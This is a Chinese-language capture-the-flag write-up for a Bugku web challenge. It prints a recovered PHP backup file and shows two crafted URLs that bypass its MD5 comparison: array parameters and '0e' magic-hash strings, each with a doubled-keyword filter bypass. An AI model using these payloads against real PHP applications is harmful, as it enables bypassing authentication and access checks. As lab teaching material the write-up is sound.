BugkuCTF-Web16-备份是个好习惯
首先打开题目,发现一串代码
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
仔细分析为两段相同的MD5值,根据题目描述,备份是个好习惯,猜测应该有备份文件,使用Dirsearh目录扫描,发现备份文件。
下载下来打开,发现index.php代码如下:
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag。
这里绕过方法有两个:
一是md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
构造利用URL如下:
http://114.67.246.176:11656/?kekeyy1[]=aaa&&kekeyy2[]=bbb
直接获得flag。
二是利用==比较漏洞,如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
构造利用URL如下:
http://114.67.246.176:11656/?kekeyy1=QNKCDZO&&kekeyy2=240610708
直接获得flag。